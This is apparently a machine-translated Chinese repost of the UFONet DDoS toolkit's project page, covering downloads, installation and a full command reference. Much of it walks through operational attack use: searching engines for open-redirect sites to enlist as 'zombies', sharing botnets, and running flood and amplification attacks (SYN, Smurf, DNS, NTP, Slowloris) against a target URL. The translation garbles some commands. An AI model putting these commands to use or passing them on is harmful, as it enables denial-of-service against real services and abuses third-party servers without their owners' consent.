新闻:
[02/2020] -UFONet 代码( v1.4.1 aka [APT]“ T!M3-WaRS!” )已发布...
UFONet 是一个 免费软件 , P2P 和 加密 破坏性工具包,可以执行 DoS 和 DDoS 攻击。
在 第7层 (APP / HTTP)上通过利用 第三方网站上 的 开放重定向 矢量充当 僵尸网络
以及在第 3层 (网络)上滥用协议来实现。
+ [01/2018]-UFONet( v1.2“ HackRon” )幻灯片:(. pdf)
+ [12/2016]-UFONet( v0.8“ Ninja DDoS Nation” )幻灯片:(. pdf)
[!]请记住:此工具 并非 用于教育目的。
未经事先双方同意,
使用 UFONet 攻击目标 是非法的 。
最终用户有责任遵守所有适用的地方,州和联邦法律。
开发者对此程序不承担任何责任,也不对任何滥用或损坏负责。
+源代码( 官方 ):
--------------------------------
+源代码( 镜像 ):
--------------------------------
+套件( 最新版本 )(Python3):
- UFONet-V1.4.1文件(.zip) (MD5:7c9b151b6456284b0b9be5d0c54bbfe0) - 洪流
- UFONet-1.4.1(.tar.gz)方式 (MD5:8093df331b89f9b800772d8202fa59d6) - 洪流
--------------------------------
+套件( 先前版本 )(第一个Python3 -stable-版本):
- UFONet-V1.4文件(.zip) (MD5:3c6451f885e8e6e2693940ee5d3448c1) - 洪流
- UFONet-V1.4(.tar.gz)方式 (MD5:e31177e7f9c739a115f003ef4f391543) - 洪流
--------------------------------
+软件包( 旧版本 )(Python2):
- UFONet-V1.2文件(.zip) (MD5:c9c0f17172f031254d24b2490ac6fdd8) - 洪流
- UFONet-V1.2(.tar.gz)方式 (MD5:c1ec221727b9cd2ac06a67b4c61830d0) - 洪流
- UFONet-V1.1文件(.zip) (MD5:04a0b3439384a0d51cce72ba4a2cae82) - 洪流
- UFONet-V1.1(.tar.gz)方式 (MD5:a0c7cf82ee1eb74370c3faec727b661c) - 洪流
- UFONet-V1.0文件(.zip) (MD5:a928524c167238d6a95a8a38ada5c334) - 洪流
- UFONet-V1.0(.tar.gz)方式 (MD5:5b4d8d6740f22329bfe4a44f07a7f7a9) - 洪流
- UFONet-v1.0-1.all(.deb文件) (MD5:fd0b125f8374fd731290657fa7e3f1b7)
- UFONet-V0.9文件(.zip) (MD5:7540f45eb8e2d3881f8d17e9a638987a) - 洪流
- UFONet-V0.9(.tar.gz)方式 (MD5:2885a332afecea3d730361557a84a9ca) - 洪流
- UFONet-V0.8文件(.zip) (MD5:da3f21a040ff5089f86f9d6f83c65138) - 洪流
- UFONet-V0.8(.tar.gz)方式 (MD5:43c282660fde63a0c287e2c3a3260f76) - 洪流
- UFONet-V0.7文件(.zip) (MD5:77af04023893d71f34e12a424247a0dd) - 洪流
- UFONet-V0.7(.tar.gz)方式 (MD5:5f4656a8e0a75a8483c3d425e86cca4b) - 洪流
- UFONet-V0.6文件(.zip) (MD5:f6be802f76e40b7dfd06075bfc616e39) - 洪流
- UFONet-V0.6(.tar.gz)方式 (MD5:40ca8242475a72dc99c139309fe9055c) - 洪流
- UFONet-v0.5b(.tar.gz)方式 (MD5:775f13baefb9241142c377f8519506f7)
如果您在使用UFONet时遇到问题,请尝试通过以下链接解决问题:
- 网站常见问题解答 部分
-UFONet GitHub问题
您也可以通过报告我的“母亲身份”(默认情况下提供董事会)[ + Zoom ]保持联系。
如果没有人回复您,请给我 发送电子邮件 。
UFONet可在许多平台上运行。 它需要 Python(> = 3) 和以下库:
python3-pycurl-与libcurl的Python绑定(Python 3)
python3-geoip-GeoIP IP到国家/地区解析器库的Python3绑定
python3-whois-用于检索WHOIS信息的Python模块-Python 3
python3-crypto-Python 3的加密算法和协议
python3-requests-用于人类的Python3优雅而简单的HTTP库
python3-scapy-数据包制作/嗅探/处理/可视化安全工具
您可以使用(作为根用户)自动获取所有必需的库:
sudo python setup.py安装
要在基于Debian的系统(例如Ubuntu)上手动安装,请运行:
须藤apt-get install python3-pycurl python3-geoip python3-whois
sudo apt-get install python3-crypto python3-requests python3-scapy
在其他系统上,例如:Kali,Ubuntu,ArchLinux,ParrotSec,Fedora等,也可以运行:
点安装GeoIP
点安装python-geoip
点安装pygeoip
点安装请求
pip安装pycrypto
pip安装pycurl
点安装whois
pip安装scapy-python3
源库:
* Python: https :
//www.python.org/downloads/ * PyCurl: http : //pycurl.sourceforge.net/
* GeoIP: https : //pypi.python.org/pypi/GeoIP/
* Python-geoip: https://pypi.org/project/python-geoip/
* Pygeoip: https://pypi.org/project/pygeoip/
*域名注册: https://pypi.python.org/pypi/whois
* PyCrypto: HTTPS: //pypi.python.org/pypi/pycrypto
* PyRequests: https ://pypi.python.org/pypi/requests
* Scapy-Python3: https
: //pypi.org/project/scapy-python3/ *传单: http ://leafletjs.com/ (提供)
./ufonet [选项]
{(D)enial(OF)Fensive(S)服务[ToolKit]}-{by_(io = psy + / 03c8.net)}
选项:
--version显示程序的版本号并退出
-h,--help显示此帮助消息并退出
-v,--verbose主动详细请求
--examples打印一些例子
--timeline显示程序的代码时间表
-更新检查最新的稳定版本
--check-tor检查Tor是否正确使用
--force-ssl强制使用SSL / HTTPS请求
--force-yes为所有问题设置“是”
--gui启动GUI(UFONet Web界面)
*工具*:
--crypter使用AES256 + HMAC-SHA1加密/解密消息
--network显示有关您的网络的信息(MAC,IP)
--xray = XRAY快速端口扫描程序(例如:--xray'http(s)://target.com')
--xray-ps = XRAYPS设置要扫描的端口范围(例如:--xray-ps'1-1024')
*配置请求*:
--proxy =代理使用代理服务器(例如:--proxy'http://127.0.0.1:8118')
--user-agent = AGENT使用另一个HTTP User-Agent标头(默认值:SPOOFED)
--referer = REFERER使用另一个HTTP Referer标头(默认值:SPOOFED)
--host = HOST使用另一个HTTP Host标头(默认值:NONE)
--xforw使用随机IP值设置HTTP X-Forwarded-For
--xclient使用随机IP值设置HTTP X-Client-IP
--timeout = TIMEOUT选择超时(默认值:5)
--retries = RETRIES连接超时时重试(默认值:0)
--threads = THREADS最大并发HTTP请求数(默认值:5)
--delay = DELAY每个HTTP请求之间的延迟(默认值:0)
*搜索“僵尸” *:
--auto-search自动搜索“僵尸”(可能需要时间!)
-s搜索从“ dork”中搜索(例如:-s'proxy.php?url =')
--sd = DORKS从'dorks'文件中搜索(例如:--sd'botnet / dorks.txt')
--sn = NUM_RESULTS设置引擎的最大结果数(默认值:10)
--se = ENGINE'dorking'的搜索引擎(默认值:DuckDuckGo)
--sa使用所有引擎进行大规模搜索(可能需要时间!)
--sax = EX_ENGINE大规模搜索时排除引擎(例如:'Bing,Yahoo')
*测试僵尸网络*:
--test-offline快速检查以丢弃离线机器人
--test-all更新所有僵尸网络状态(可能需要一些时间!)
-t测试更新“僵尸”状态(例如:-t'botnet / zombies.txt')
--test-rpc更新“反射器”状态(例如:--test-rpc)
--attack-me命令“僵尸”攻击您(需要NAT!)
*社区*:
--grider创建一个“ grider”以共享“ stats / wargames / messages”
--blackhole生成“黑洞”以共享“僵尸”
--up-to = UPIP将“僵尸”上传到IP(例如:--up-to' ')
--down-from = DIP从IP下载“僵尸”(例如:--down-from' ')
--upload-zombies将“僵尸”上传到社区
--download-zombies从社区下载“僵尸”
--upload-github将'zombies'上传到GitHub
--download-github从GitHub下载'zombies'
*研究对象*:
-i INSPECT搜索最大文件(例如:-i'http(s)://target.com')
-x ABDUCTION检查Web服务器配置(+ CVE,+ WAF检测)
*配置攻击*:
-a TARGET [DDoS]攻击URL(例如:-a'http(s)://target.com')
-f TARGET_LIST [DDoS]攻击目标列表(例如:-f'targets.txt')
-b PLACE设置攻击地点(例如:-b'/path/big.jpg')
-r ROUNDS设置轮数(例如:-r'1000')(默认值:1)
*额外配置*:
--no-aliens禁用“ aliens”网络滥用
--no-droids禁用'droids'重定向器
--no-rpcs禁用'xml-rpcs'反射器
--no-ucavs禁用“ ucavs”检查器
--no-head禁用“目标向上了吗?” 开始检查
--no-scan禁用“扫描屏蔽”圆形检查
--no-purge禁用“僵尸清除”全面检查
--expire = EXPIRE设置“清理僵尸”的过期时间(默认值:30)
*额外攻击*:
--db = DBSTRESS [DDoS]“ HTTP DB”攻击(例如:-db'search.php?q =')
--spray = SPRAY [DDoS]“ TCP-SYN反射”攻击(例如:-spray 100)
--smurf = SMURF [DDoS]“ ICMP广播”攻击(例如:-smurf 101)
--tachyon = TACHYON [DDoS]“ DNS放大”攻击(例如:--tachyon 1000)
--monlist = MONLIST [DDoS]“ NTP放大”攻击(例如:-monlist 1001)
--loic = LOIC [DoS]“ HTTP快速”攻击(例如:-loic 100)
--loris = LORIS [DoS]“ HTTP慢速”攻击(例如:-loris 101)
--ufosyn = UFOSYN [DoS]'TCP-SYN Flood'攻击(例如:--ufosyn 100)
--xmas = XMAS [DoS]“ TCP-XMAS Flood”攻击(例如:-xmas 101)
--nuke = NUKE [DoS]'TCP-STARVATION'攻击(例如:--nuke 10000)
UFONet可以利用不同的搜索引擎结果来找到可能的“开放式重定向”漏洞站点。
常见的查询字符串应如下所示:
'proxy.php?url ='
'check.cgi?url ='
'checklink?uri ='
'validator?uri ='
例如,您可以使用以下内容开始搜索:
./ufonet -s'proxy.php?url ='
或提供文件中的“傻瓜”列表:
./ufonet --sd'botnet / dorks.txt'
默认情况下,UFONet将使用名为“ DuckDuckGo”的搜索引擎。 但是您可以选择其他选项:
./ufonet -s'proxy.php?url ='--se'bing'
这是上一次使用的可用搜索引擎的列表:
-duckduckgo [01/02/2020:OK!]
-bing [01/02/2020:OK!]
-雅虎[01/02/2020:OK!]
您还可以使用所有支持的搜索引擎进行大规模搜索:
./ufonet -s'proxy.php?url ='--sa
要控制从搜索引擎报告中收到多少“僵尸”,您可以使用:
./ufonet --sd'僵尸网络/dorks.txt'--sa --sn 20
或者,您可以使该工具自动搜索最大数量的结果(这可能需要时间!):
./ufonet-自动搜索
在该过程结束时,系统将询问您是否要检查检索到的列表以查看
如果网址容易受到攻击。
要检查它们是否是有效的僵尸? (是/否)
另外,系统还会要求您更新列表,仅自动添加“易受攻击的”网络应用程序。
要更新您的列表吗? (是/否)
如果您的回答是“是”,则新的“僵尸”将附加到名为zombies.txt的文件中
-------------
例子:
+详细说明:./ufonet -s'proxy.php?url ='-v
+带线程:./ufonet --sd'botnet / dorks.txt'--sa --threads 100
UFONet可以测试您的“僵尸”是否易受攻击并可以用于攻击任务。
例如,打开“ botnet / zombies.txt”(或另一个文件)并创建可能的“ zombies”列表。
请记住,“僵尸”的网址应如下所示:
http://target.com/check?uri=
之后,启动:
./ufonet -t'僵尸网络/zombies.txt'
您可以使用以下方法测试与XML-RPC Pingback漏洞相关的“僵尸”:
./ufonet --test-rpc
要检查整个僵尸网络是否仍然感染了您的“僵尸”(这可能需要一些时间!),请尝试以下操作:
./ufonet-全部测试
并检查您的“僵尸”是否仍在线运行:
./ufonet --test-offline
最后,您可以命令“僵尸”攻击您,并使用以下方法查看它们如何满足您的需求:
./ufonet-攻击我
在该过程结束时,系统将询问您是否要检查检索到的列表以查看
如果网址容易受到攻击。
要检查它们是否是有效的僵尸? (是/否)
如果您回答“是”,则文件“ botnet / zombies.txt”将被更新。
-------------
例子:
+详细说明:./ufonet -t'botnet / zombies.txt'-v
+使用代理TOR:./ ufonet -t'botnet / zombies.txt'--proxy =“ http://127.0.0.1:8118”
+带线程:./ufonet -t'botnet / zombies.txt'-线程50
+测试整个僵尸网络:./ufonet --test-all
+测试XML-RPC:./ufonet --test-rpc
+搜索离线:./ufonet --test-offline
+攻击自己:./ufonet --attack-me
UFONet可以通过搜寻来搜索目标上最大的文件:
./ufonet -i http://target.com
您可以在攻击之前使用它来更有效。
./ufonet -a http://target.com -b“ /biggest_file_on_target.xxx”
-------------
例:
+输入:
./ufonet -i http://target.com
+输出:
[...]
+找到图片:images / wizard.jpg
(大小:63798字节)
------------
找到+样式(.css):fonts.css
(大小:20448字节)
------------
+网页(.php)找到:contact.php
(大小:2483字节)
------------
+网页(.php)找到:about.php
(大小:1945字节)
------------
+网页(.php)找到:license.php
(大小:1996字节)
------------
================================================== ==============================
=最大的文件:http://target.com/images/wizard.jpg
================================================== ==============================
-------------
UFONet可以为您提供有关目标的一些有趣信息:
./ufonet -x http://target.com
-------------
例:
+输入:
./ufonet -x https://yahoo.com
+输出:
[...]
-目标网址:https://yahoo.com
-IP:206.190.39.42
-IPv6:关闭
端口:443
域名:yahoo.com
-字节:550.09 KB
-加载时间:9.10秒
-横幅:ATS
-Vía:http / 1.1 usproxy3.fp.ne1.yahoo.com(ApacheTrafficServer),
http / 1.1 media-router-fp25.prod.media.ir2.yahoo.com(ApacheTrafficServer [cMsSf])
-WAF / IDS:防火墙不存在(或尚未发现)! ;-)
-报告:
+ CVE-2017-7671-> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7671
+ CVE-2017-5660-> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5660
[...]
---------
[信息]绑架完毕... ;-)
-------------
UFONet可以以多种不同方式攻击您的目标。
例如,输入要进行多次攻击的目标:
./ufonet -a http://target.com -r 10
在此示例中,UFONet将为每个“僵尸”攻击目标10次。 那意味着
如果您有1.000个“僵尸”列表,它将启动:
1.000个``僵尸''x 10发= 10.000个请求
如果您不进行任何回合,则默认情况下将仅应用1。
此外,您可以选择在目标站点上充电的地方。 例如,大图
大文件或Flash电影。 在某些情况下目标不使用缓存系统
这将使攻击更加有效。
./ufonet -a http://target.com -b“ /images/big_size_image.jpg”
-------------
例子:
+详细说明:./ufonet -a http://target.com -r 10 -v
+使用代理TOR:./ ufonet -a http://target.com -r 10 --proxy =“ http://127.0.0.1:8118”
+加上一个位置:./ufonet -a http://target.com -r 10 -b“ /images/big_size_image.jpg”
+带线程:./ufonet -a http://target.com -r 10-线程500
您可以使用UFONet通过请求随机有效字符串作为搜索查询来对目标施加压力:
./ufonet -a http://target.com --db“ search.php?q =”
此外,它还利用(默认情况下)XML-RPC Pingback漏洞,生成回调请求并增加
目标所需的处理。
您可以测试“ XML-RPC僵尸”启动列表:
./ufonet --test-rpc
同时,您可以连接LOIC(具有代理支持)来确定一定数量的递归请求
直接针对您的目标:
./ufonet -a http://target.com --loic 100
您可以连接LORIS以使请求也将打开线程留在目标上,从而使Web服务器
工作较慢:
./ufonet -a http://target.com --loris 100
您可以连接UFOSYN(它需要“ root”访问权限)来发起强大的TCP / SYN泛洪攻击:
sudo ./ufonet -a http://target.com --ufosyn 100
或发起SPRAY(需要“ root”)攻击以启动分布式“反射”拒绝服务(DrDoS):
须藤./ufonet -a http://target.com --spray 100
SMURF(需要“ root”)攻击以发送分布式ICMP“广播”数据包:
须藤./ufonet -a http://target.com --smurf 101
或XMAS(需要“ root”)攻击会用“ Christmas”数据包淹没您的目标
须藤./ufonet -a http://target.com --xmas 101
饥饿攻击(需要'root') ,如果没有 目标 ,它将 在几秒钟内击倒目标
最低防护等级:
须藤./ufonet -a http://target.com --nuke 10000
使用TACHYON(需要“ root”)攻击来执行DNS流量的分布式放大:
须藤./ufonet -a http://target.com --tachyon 1000
甚至是MONLIST(需要“ root”)攻击,以执行NTP流量的分布式放大:
sudo ./ufonet -a http://target.com --monlist 1001
所有方法都可以结合使用,因此 UFONet可以同时攻击DDoS和DoS 。
UFONet实现了将工具更新到最新稳定版本的选项。
仅当您从git存储库中克隆了此功能后,才能使用此功能。
要检查您的版本,您应该启动:
./ufonet-更新
这将自动更新该工具,从旧软件包中删除所有文件。
UFONet具有一些 P2P 选项,可以与其他“ 母系” 共享/保留“僵尸”。
*使用文件夹“ ufonet”安装Web服务器(apache,nginx ...),此文件夹应为:
-位于:/ var / www / ufonet
-由运行黑洞的用户拥有
-可通过以下方式访问:http(s):// your-ip / ufonet /
*任何想要连接到服务器的人都需要设置--up-to /-down-from
到您的网络服务器的IP地址...
-------------
例子:
+启动“黑洞”服务器: ./ufonet --blackhole (作为守护程序:./ufonet --blackhole&)
您可以使用Web界面管理UFONet。 该工具已实现python网络服务器
连接到核心,可为您提供更加用户友好的体验。
要启动它,请使用:
./ufonet --gui
这将在默认浏览器上打开一个选项卡,其中包含该工具的所有功能以及一些“额外”选项:
允许阅读由“母系”发布的最新“新闻”
允许阅读“母系”发表的最新“任务”
允许查看“太空船”的统计信息
允许与“母系”(论坛)之间收发消息
允许与“母系”互动以下载/上传“僵尸”
允许查看其他“太空飞船”的统计信息
允许提取有关目标的有趣信息
允许提出并加入一些真正的“战争游戏”
* [视频]:UFONet v1.3“ SingularitY!”-> [ 播放! ]
* [视频]:UFONet v1.2“ Armageddon!”-> [ 播放! ]
* [视频]:UFONet v1.1“ Quantum Hydra!”-> [ 播放! ]
* [视频]:UFONet v1.0“ Tachy0n!”-> [ 播放! ]
* [视频]:UFONet v0.9“ Blazar!”-> [ 播放! ]
* [视频]:UFONet v0.7“大危机!”-> [ 播放! ]
* [视频]:UFONet v0.6“银河进攻”-> [ 播放! ]
* Shell:版本[ + Zoom ]
*外壳:板子[ +缩放 ]
*外壳:GUI [ + Zoom ]
* GUI:欢迎[ +缩放 ]
* GUI:主[ +缩放 ]
* GUI:僵尸网络[ +缩放 ]
* GUI:统计[ +缩放 ]
* GUI:排名[ +缩放 ]
* GUI:板子[ +缩放 ]
* GUI:加密网格板[ +缩放 ]
* GUI:网格统计[ +缩放 ]
* GUI:Wargames [ + Zoom ]
* GUI:攻击[ + Zoom ]
* GUI:GlobalMap部署僵尸网络[ + Zoom ]
* GUI:GlobalMap僵尸网络攻击[ + Zoom ]
UFONet根据 GPLv3 的条款发布, 并由 psy 拥有版权 。
日期大小版本别名
--------------------------------------------------
2013-06-18 7.6kB 0.1b
2013-06-22 8.3kB 0.2b
2014-09-17 12.6kB 0.3b
2014-09-27 12.8kB 0.3.1b绑架
2014-12-16 36.3kB 0.4b感染!
2015-05-24 59.0kB 0.5b入侵!
2016-02-20 287.5kB 0.6银河进攻!
2016-08-18 301.9kB 0.7大危机!
2016-12-12 450.8kB 0.8 U-NATi0n!
2017-07-13 872.5kB 0.9 Blazar!
2018-03-07 947.9kB 1.0 TachYon!
2018-09-26 950.7kB 1.1量子九头蛇!
2018-12-31 966.9Kb 1.2世界末日!
2019-03-07 1.0Mb 1.3奇异!
2020-02-01 25.0Mb 1.4 Tim3WaRS!
要捐款,请使用以下哈希:
- 比特币 :19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律